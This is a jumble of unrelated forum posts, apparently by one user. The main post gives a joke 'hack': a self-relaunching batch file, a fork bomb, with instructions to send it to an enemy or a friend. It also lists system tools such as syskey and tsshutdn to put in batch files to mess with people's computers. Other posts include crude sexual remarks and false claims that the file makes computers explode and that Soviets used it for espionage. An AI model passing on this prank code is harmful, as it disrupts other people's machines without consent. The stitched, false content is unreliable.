John_Winthrop

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It causes the enemy computer to reproduce command prompts until the computer explodes.

This hack is used to infrect enemy computers. This coding style was used by Soviets in the Cold War to obtain U.S. Citizen information from a confidential folder on a Windows 3.1 Government Webserver.

You use Firefox and WinAmp? No wonder your computer is messing up. Try uninstalling them and see if the problems persists.

Hey everyone, it's John_Winthrop, eveybody's favorite enlightened thinker! I wanted to learn about computers and actually took a Computer Programming course over the winter to study different languages like Perl, Java, and C++. Well I graduated and am ready to release my first home made hack. This is open source too, so you can learn what I learned. I hope you like it! Here's what to do. Open notepad.exe and type the following code (or you can copy and paste): START lol.bat REM This hack is dedicated to [myg0t]chrono REM Copyright John_Winthrop 2007 Now save the file as lol.bat. Careful! WARNING!!! Do not open up this file yourself, you will damage your computer with the hack. It is called a "server" file and is used to infect enemy computers. Now send it to an enermy (or a friend LoL!) and watch what happens (or just imagine)! If you are going to post this hack on other sites you may, but please give credit where it is due. Thanks! Here is a list of other fun things you can put in .bat files to use to mess with people's computers-or you can try them all at once!: accwiz.exe bootvrfy.exe certmgr.exe charmap.exe chkdsk.exe ciadv.msc cleanmgr.exe cliconfig.exe clipbrd.exe cmdlib.wsc command.com compmgmt.msc control.exe drwatson.exe drwtsn32.exe edit.com esentutl.exe eudcedit.exe eventviewer.exe eventviewer.msc fsmgmt.msc ftp.exe gpresult.exe iexpress.exe javaws.exe label.exe logoff.exe lusrmgr.msc magnify.exe mmc.exe mobsync.exe more.com mplay32.exe MRT.exe msiexec.exe mspaint.exe mstsc.exe narrator.exe netsetup.exe netsh.exe nslookup.exe ntbackup.exe ntmsmgr.msc ntmsoprq ntsd.exe nvapps.xml odbcan32.exe oeminfo.ini osk.exe osuninst.exe packager.exe perfmon.exe perfmon.msc rasphone.exe regedt32.exe rsop.msc sc.exe scrnsave.scr secedit.exe secpol.msc services.msc shrpubw.exe sigverif.exe sndrec32.exe sndvol32.exe sort.exe ss3dfo.scr ssbezier.scr ssflwbox.scr ssmarque.scr ssmypics.scr ssmyst.scr sspipes.scr ssstarts.scr sstext3d.scr sysedit.exe syskey.exe taskmgr.exe telnet.exe tlntsess.exe tourstart.exe tree.com tsdiscon.exe tskill.exe tsshutdn.exe ups.exe userinit.exe utilman.exe verifier.exe webfldrs.msi winchat.exe winhlp32.exe winmsd.exe winver.exe wmimgmt.msc write.exe wscript.exe wscui.cpl

Nice penis picture. It looks kinda cute.

That poor dog of his. I can only imagine what it goes through. :tear:

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OMG KRAIZER FRAIZER LOOL http://img469.imageshack.us/img469/933/kraizer8yi.jpg HE IS 1337 COMPUTER ADMIN

4chan is an imageboard where people start a thread with a picture and people reply and add related pictures. There are several sections that allow for different types of threads and pictures. Each section is named with one or two letters, in the form of /*/. The most popular boards include /b/ (random), /h/ (hentai), and /s/ (Sexy Beautiful Women) because they contain the most porn, but almost every section contains some element of porn. Other "chan" sites also exist, such as 7chan, wakachan, etc. I hope I have helped!:wavey:

I find it rather annoying. It often forgets that I have allowed a certain page, and then it still doesn't allow certain page elements like navigation bars, menus, etc. to work properly. I ended up just uninstalling it.

Actually, the comma is necessary after 'oh', but the first 'and' should not have been included. Also, why should correct grammar only be used in a college or school environment?

Hey, I remember you! Your mother's a truck driver right? Let's be friends!

Charles Manson wrote it first. :ugh: http://en.wikipedia.org/wiki/Lie:_The_Love_%26_Terror_Cult http://www.amazon.com/Lie-Love-Terror-Charles-Manson/dp/B000005X1J/ref=pd_bbs_sr_1/002-5632114-3653612?ie=UTF8&s=music&qid=1173037244&sr=8-1

I am currently listening to Sick City by Charles Manson.

Please pay for media. Thanks.

Most of them have majored in Telecommunications.

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Nazis no longer exist. They are a fragment of history. Also fake, OSes don't look like that IRL.

Nice work detective!

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The Dalai Lama would love your signature. You should email it to him.

External drives are more for backup than anything else.

Awww, she's so cute. God says: She's going to burn in Hell for being too gosh darn Greedy!